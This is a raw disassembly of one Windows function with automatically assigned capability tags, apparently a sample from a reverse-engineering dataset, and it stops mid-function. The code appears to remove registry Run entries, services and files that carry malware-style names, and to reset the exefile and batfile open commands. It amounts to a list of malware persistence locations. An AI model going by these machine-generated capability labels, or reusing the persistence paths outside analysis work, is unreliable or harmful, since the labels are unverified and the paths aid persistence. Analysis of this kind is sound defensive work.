Function at 0x416274
Capabilities:
Check if process is running under wine
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc80
mov eax, 0x46116c
push ebx
push esi
push edi
call fcn.0042c210
mov word [ebp - 0x160], 8
lea eax, [ebp - 4]
mov edx, dword [0x46a898]
call fcn.0043862c
inc dword [ebp - 0x154]
mov eax, dword [eax]
xor edx, edx
mov dword [ebp - 8], edx
lea edx, [ebp - 8]
inc dword [ebp - 0x154]
call fcn.004223b0
cmp dword [ebp - 8], 0
je 0x413883
mov eax, dword [ebp - 8]
jmp 0x413888
mov eax, 0x45dbe4
mov edi, eax
xor eax, eax
or ecx, 0xffffffff
lea esi, [ebp - 0x27c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, 2
and ecx, 3
lea eax, [ebp - 8]
rep movsb byte es:[edi], byte [esi]
dec dword [ebp - 0x154]
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004386a0
lea ecx, [ebp - 0x27c]
push ecx
call fcn.004175d0
pop ecx
push 0x400
lea eax, [ebp - 0x380]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
mov edx, dword [ebp + 8]
mov ecx, edx
shl edx, 3
sub edx, ecx
mov eax, dword [edx*4 + 0x44be6c]
add eax, 0xfffff5fb
cmp eax, 0x19c
ja case.0x41391d.2565
mov al, byte [eax + 0x413924]
and eax, 0xff
jmp dword [eax*4 + 0x413ac1]
push 0
push str.C:RecycledMsscra.exe
call fcn.00417790
add esp, 8
push 0
push str.C:RecycledMsmdm.exe
call fcn.00417790
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.WWW.dll
push eax
call fcn.0042bd64
add esp, 8
push 0
lea edx, [ebp - 0x27c]
push edx
call fcn.00417790
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.Screenback.dll
push eax
call fcn.0042bd64
add esp, 8
push 0
lea edx, [ebp - 0x27c]
push edx
call fcn.00417790
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.Screen.dll
push eax
call fcn.0042bd64
add esp, 8
push 0
lea edx, [ebp - 0x27c]
push edx
call fcn.00417790
mov word [ebp - 0x160], 0x14
add esp, 8
mov edx, 0x45dc50
lea eax, [ebp - 0xc]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x45dc34
mov ecx, dword [eax]
lea eax, [ebp - 0x10]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004386a0
jmp case.0x41391d.2565
push str.Explorer32
push 0x45dc58
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.Microsoft_Diagnostic
push 0x45dc92
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.MSVXD
push 0x45dcd6
push 0x80000002
call fcn.00417e0c
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x45dd0b
push eax
call fcn.0042bd64
add esp, 8
push str.Msvxd.exe
lea edx, [ebp - 0x27c]
push edx
call fcn.00417cc4
add esp, 8
jmp case.0x41391d.2565
mov word [ebp - 0x160], 0x20
lea eax, [ebp - 0x14]
mov edx, dword [0x46a898]
call fcn.0043862c
inc dword [ebp - 0x154]
mov eax, dword [eax]
xor edx, edx
mov dword [ebp - 0x18], edx
lea edx, [ebp - 0x18]
inc dword [ebp - 0x154]
call fcn.004223b0
cmp dword [ebp - 0x18], 0
je 0x413e98
mov eax, dword [ebp - 0x18]
jmp 0x413e9d
mov eax, 0x45dd1e
mov edi, eax
xor eax, eax
or ecx, 0xffffffff
lea esi, [ebp - 0x27c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, 2
and ecx, 3
lea eax, [ebp - 0x18]
rep movsb byte es:[edi], byte [esi]
dec dword [ebp - 0x154]
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004386a0
lea ecx, [ebp - 0x27c]
push ecx
push 0x45dd1f
push 0x80000002
call fcn.00417f04
add esp, 0xc
lea eax, [ebp - 0x27c]
push eax
push 0x45dd52
push 0x80000002
call fcn.00417f04
add esp, 0xc
jmp case.0x41391d.2565
push str.ScrSvr
push 0x45dd81
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.ScrSvrOld
push 0x45ddb7
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45ddf0
lea edx, [ebp - 0x380]
push edx
call fcn.0042bd64
add esp, 8
lea ecx, [ebp - 0x27c]
push ecx
lea eax, [ebp - 0x380]
push eax
call fcn.00417cc4
add esp, 8
push 0x45ddf9
lea edx, [ebp - 0x380]
push edx
call fcn.00417cc4
add esp, 8
push 0
push str.c:_tmp.ini
call fcn.00417790
add esp, 8
push 0
push str.c:Scrsin.dat
call fcn.00417790
add esp, 8
push 0
push str.c:Scrsout.dat
call fcn.00417790
add esp, 8
jmp case.0x41391d.2565
push str.Brasil
push 0x45de2c
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.BrasilOld
push 0x45de62
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45de9b
lea ecx, [ebp - 0x380]
push ecx
call fcn.0042bd64
add esp, 8
lea eax, [ebp - 0x27c]
push eax
lea edx, [ebp - 0x380]
push edx
call fcn.00417cc4
add esp, 8
push 0x45dea4
lea ecx, [ebp - 0x380]
push ecx
call fcn.00417cc4
add esp, 8
push 0
push str.c:put.ini
call fcn.00417790
add esp, 8
push 0
push str.c:Brasil.dat
call fcn.00417790
add esp, 8
push 0
push str.c:Brasil_.dat
call fcn.00417790
add esp, 8
jmp case.0x41391d.2565
push str.cronos
push 0x45ded7
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Cuzao_Old
push 0x45df0d
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45df46
lea eax, [ebp - 0x380]
push eax
call fcn.0042bd64
add esp, 8
lea edx, [ebp - 0x27c]
push edx
lea ecx, [ebp - 0x380]
push ecx
call fcn.00417cc4
add esp, 8
push 0x45df4f
lea eax, [ebp - 0x380]
push eax
call fcn.00417cc4
add esp, 8
push 0
push str.c:gay.ini
call fcn.00417790
add esp, 8
jmp case.0x41391d.2565
push str.regedit
push 0x45df65
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.instit
push 0x45df9c
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.GustavVED
push 0x45dfd2
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45e00b
lea edx, [ebp - 0x380]
push edx
call fcn.0042bd64
add esp, 8
lea ecx, [ebp - 0x27c]
push ecx
lea eax, [ebp - 0x380]
push eax
call fcn.00417cc4
add esp, 8
push str.c:institu
lea edx, [ebp - 0x380]
push edx
call fcn.00417cc4
add esp, 8
push 0
push str.c:Gustav.sap
call fcn.00417790
add esp, 8
push 0
push str.c:Institu.bat
call fcn.00417790
add esp, 8
push 0
push str.c:Institu
call fcn.00417790
add esp, 8
jmp case.0x41391d.2565
push str.load32
push 0x45e047
push 0x80000002
call fcn.00417e0c
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x45e07d
push eax
call fcn.0042bd64
add esp, 8
push str.dllreg.exe
lea edx, [ebp - 0x27c]
push edx
call fcn.00417cc4
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str._system.ini
push eax
call fcn.0042bd64
add esp, 8
push str.vxdmgr32.exe
lea edx, [ebp - 0x27c]
push edx
call fcn.00417cc4
add esp, 8
jmp case.0x41391d.2565
push 0x45e0d9
push 0x45e0aa
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.WinServices
push 0x45e0e5
push 0x80000002
call fcn.00417e0c
mov word [ebp - 0x160], 0x2c
add esp, 0xc
mov edx, 0x45e144
lea eax, [ebp - 0x1c]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x45e128
mov ecx, dword [eax]
lea eax, [ebp - 0x20]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004386a0
push 0x45e14c
lea ecx, [ebp - 0x380]
push ecx
call fcn.0042bd64
add esp, 8
lea eax, [ebp - 0x27c]
push eax
lea edx, [ebp - 0x380]
push edx
call fcn.00417cc4
add esp, 8
jmp case.0x41391d.2565
lea ecx, [ebp - 0x27c]
push ecx
push str.C:Autoexec.bat
call fcn.00417cc4
add esp, 8
push 0x45e194
push 0x45e165
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.SoftwareOvG
push 0x80000002
call fcn.00418170
add esp, 8
jmp case.0x41391d.2565
push str.WindowsMGM
push 0x45e1b7
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45e220
push 0x45e1f1
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.TrayX
push 0x45e226
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
push 0x45e25b
lea eax, [ebp - 0x380]
push eax
call fcn.0042bd64
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.dwn.dat
push eax
call fcn.0042bd64
add esp, 8
push 0
lea edx, [ebp - 0x27c]
push edx
call fcn.00417790
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.sntmls.dat
push eax
call fcn.0042bd64
add esp, 8
push 0
lea edx, [ebp - 0x27c]
push edx
call fcn.00417790
add esp, 8
jmp case.0x41391d.2565
push 0x45e270
lea ecx, [ebp - 0x380]
push ecx
call fcn.0042bd64
add esp, 8
lea eax, [ebp - 0x27c]
push eax
lea edx, [ebp - 0x380]
push edx
call fcn.00417cc4
add esp, 8
lea ecx, [ebp - 0x27c]
push ecx
push 0x45e279
push 0x80000002
call fcn.00417f04
mov word [ebp - 0x160], 0x38
add esp, 0xc
mov edx, 0x45e2c4
lea eax, [ebp - 0x24]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x45e2a8
mov ecx, dword [eax]
lea eax, [ebp - 0x28]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0x44
mov edx, 0x45e2e8
lea eax, [ebp - 0x2c]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x45e2cc
mov ecx, dword [eax]
lea eax, [ebp - 0x30]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.004386a0
jmp case.0x41391d.2565
push str.ScanDisk
push 0x45e2f9
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.SystemInit
push 0x45e331
push 0x80000002
call fcn.00417e0c
mov word [ebp - 0x160], 0x50
add esp, 0xc
mov edx, 0x45e387
lea eax, [ebp - 0x34]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x45e36b
mov ecx, dword [eax]
lea eax, [ebp - 0x38]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.004386a0
push 0x45e396
lea ecx, [ebp - 0x380]
push ecx
call fcn.0042bd64
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.ProgOp.exe
push eax
call fcn.0042bd64
add esp, 8
push 0
lea edx, [ebp - 0x27c]
push edx
call fcn.00417790
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.iservc.dll
push eax
call fcn.0042bd64
add esp, 8
push 0
lea edx, [ebp - 0x27c]
push edx
call fcn.00417790
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.data1_2.cab
push eax
call fcn.0042bd64
add esp, 8
push 0
lea edx, [ebp - 0x27c]
push edx
call fcn.00417790
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.iservc.dat
push eax
call fcn.0042bd64
add esp, 8
push 0
lea edx, [ebp - 0x27c]
push edx
call fcn.00417790
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.Uninstall.pky
push eax
call fcn.0042bd64
add esp, 8
push 0
lea edx, [ebp - 0x27c]
push edx
call fcn.00417790
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.Upd.bin
push eax
call fcn.0042bd64
add esp, 8
push 0
lea edx, [ebp - 0x27c]
push edx
call fcn.00417790
add esp, 8
jmp case.0x41391d.2565
push 0x45e40a
push 0x45e3db
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.System_Tray
push 0x45e416
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
push 0x45e451
lea ecx, [ebp - 0x380]
push ecx
call fcn.0042bd64
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.hnks.ini
push eax
call fcn.0042bd64
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.msdbrr.ini
push eax
call fcn.0042bd64
add esp, 8
jmp case.0x41391d.2565
push str.Srv32
push 0x45e467
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Srv32Old
push 0x45e49c
push 0x80000002
call fcn.00417e0c
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x45e4d4
push eax
call fcn.0042bd64
add esp, 8
push str.Srv32.exe
lea edx, [ebp - 0x27c]
push edx
call fcn.00417cc4
add esp, 8
jmp case.0x41391d.2565
push str.Rundll32.exe
push 0x45e4e7
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push 0x45e55a
push 0x45e52b
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.LTM2
push 0x45e55f
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.winhelp
push 0x45e59b
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.WinGate_initialize
push 0x45e5d2
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Remote_Procedure_Call_Locator
push 0x45e614
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Program_in_Windows
push 0x45e661
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Module_Call_initialize
push 0x45e6a3
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.syshelp
push 0x45e6e9
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45e756
push 0x45e720
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
mov word [ebp - 0x160], 0x5c
add esp, 0xc
mov edx, str.notepad.exe__1
lea eax, [ebp - 0x3c]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str._txtfile_shellopencommand
mov ecx, dword [eax]
lea eax, [ebp - 0x40]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.004386a0
push str.SYSTEMCurrentControlSetServicesWindows_Management_Instrumentation_Driver_Extension
push 0x80000002
call fcn.00418170
add esp, 8
push str.SYSTEMCurrentControlSetServicesNetMeeting_Remote_Desktop__RPC__Sharing
push 0x80000002
call fcn.00418170
add esp, 8
push str.SYSTEMCurrentControlSetServicesMicrosoft_NetWork_FireWall_Services
push 0x80000002
call fcn.00418170
add esp, 8
push str.SYSTEMCurrentControlSetServicesll_reg
push 0x80000002
call fcn.00418170
add esp, 8
push 0x45e898
lea ecx, [ebp - 0x380]
push ecx
call fcn.0042bd64
add esp, 8
lea eax, [ebp - 0x27c]
push eax
lea edx, [ebp - 0x380]
push edx
call fcn.00417cc4
add esp, 8
jmp case.0x41391d.2565
push 0x45e8d0
push 0x45e8a1
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.NAV_Live_Update
push 0x45e8e0
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push 0x45e956
push 0x45e927
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Windows_Explorer
push 0x45e967
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push 0x45e9de
push 0x45e9af
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.System_MScvb
push 0x45e9eb
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
push 0x45ea27
lea ecx, [ebp - 0x380]
push ecx
call fcn.0042bd64
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.msddr.dll
push eax
call fcn.0042bd64
add esp, 8
xor eax, eax
lea edi, [ebp - 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x27c]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.msddr.dat
push eax
call fcn.0042bd64
add esp, 8
jmp case.0x41391d.2565
push str.Avril_Lavigne___Muse
push 0x45ea3d
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.SocketListner
push 0x45ea81
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
lea edx, [ebp - 0x27c]
push edx
push 0x45eabe
push 0x80000002
call fcn.00417f04
add esp, 0xc
lea ecx, [ebp - 0x27c]
push ecx
push 0x45eaed
push 0x80000002
call fcn.00417f04
add esp, 0xc
lea eax, [ebp - 0x27c]
push eax
push 0x45eb24
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417f04
add esp, 0xc
lea edx, [ebp - 0x27c]
push edx
push 0x45eb53
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417f04
mov word [ebp - 0x160], 0x68
add esp, 0xc
mov edx, 0x45eba6
lea eax, [ebp - 0x44]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x45eb8a
mov ecx, dword [eax]
lea eax, [ebp - 0x48]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.004386a0
push 0x45ebae
lea ecx, [ebp - 0x380]
push ecx
call fcn.0042bd64
add esp, 8
lea eax, [ebp - 0x27c]
push eax
lea edx, [ebp - 0x380]
push edx
call fcn.00417cc4
add esp, 8
jmp case.0x41391d.2565
push str.VideoDriver
push 0x45ebb7
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.SOFTWAREMicrosoftCode_Store_DatabaseDistribution_Units11111111_1111_1111_1111_111111111111
push 0x80000002
call fcn.00418170
add esp, 8
jmp case.0x41391d.2565
push str.windows_auto_update
push 0x45ec54
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
lea ecx, [ebp - 0x27c]
push ecx
push 0x45ec97
push 0x80000002
call fcn.00417f04
mov word [ebp - 0x160], 0x74
add esp, 0xc
mov edx, 0x45ece2
lea eax, [ebp - 0x4c]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x45ecc6
mov ecx, dword [eax]
lea eax, [ebp - 0x50]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x4c]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0x80
mov edx, 0x45ed0f
lea eax, [ebp - 0x54]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x45ecf3
mov ecx, dword [eax]
lea eax, [ebp - 0x58]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x58]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x54]
mov edx, 2
call fcn.004386a0
push 0x45ed17
lea ecx, [ebp - 0x380]
push ecx
call fcn.0042bd64
add esp, 8
lea eax, [ebp - 0x27c]
push eax
lea edx, [ebp - 0x380]
push edx
call fcn.00417cc4
add esp, 8
jmp case.0x41391d.2565
push str.SYSTEMCurrentControlSetServicesRpcPatch
push 0x80000002
call fcn.00418170
add esp, 8
push str.SYSTEMCurrentControlSetServicesRpcTftpd
push 0x80000002
call fcn.00418170
add esp, 8
jmp case.0x41391d.2565
push 0x45eda7
push 0x45ed78
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.TaskMan
push 0x45edb0
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
lea ecx, [ebp - 0x27c]
push ecx
push 0x45ede7
push 0x80000002
call fcn.00417e0c
mov word [ebp - 0x160], 0x8c
add esp, 0xc
mov edx, 0x45ee43
lea eax, [ebp - 0x5c]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str.SoftwareCLASSESexefile_shellopencommand
mov ecx, dword [eax]
lea eax, [ebp - 0x60]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push 0x80000002
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x60]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x5c]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0x98
mov edx, 0x45ee78
lea eax, [ebp - 0x64]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str.SoftwareCLASSES_batfile_shellopencommand
mov ecx, dword [eax]
lea eax, [ebp - 0x68]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push 0x80000002
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x64]
mov edx, 2
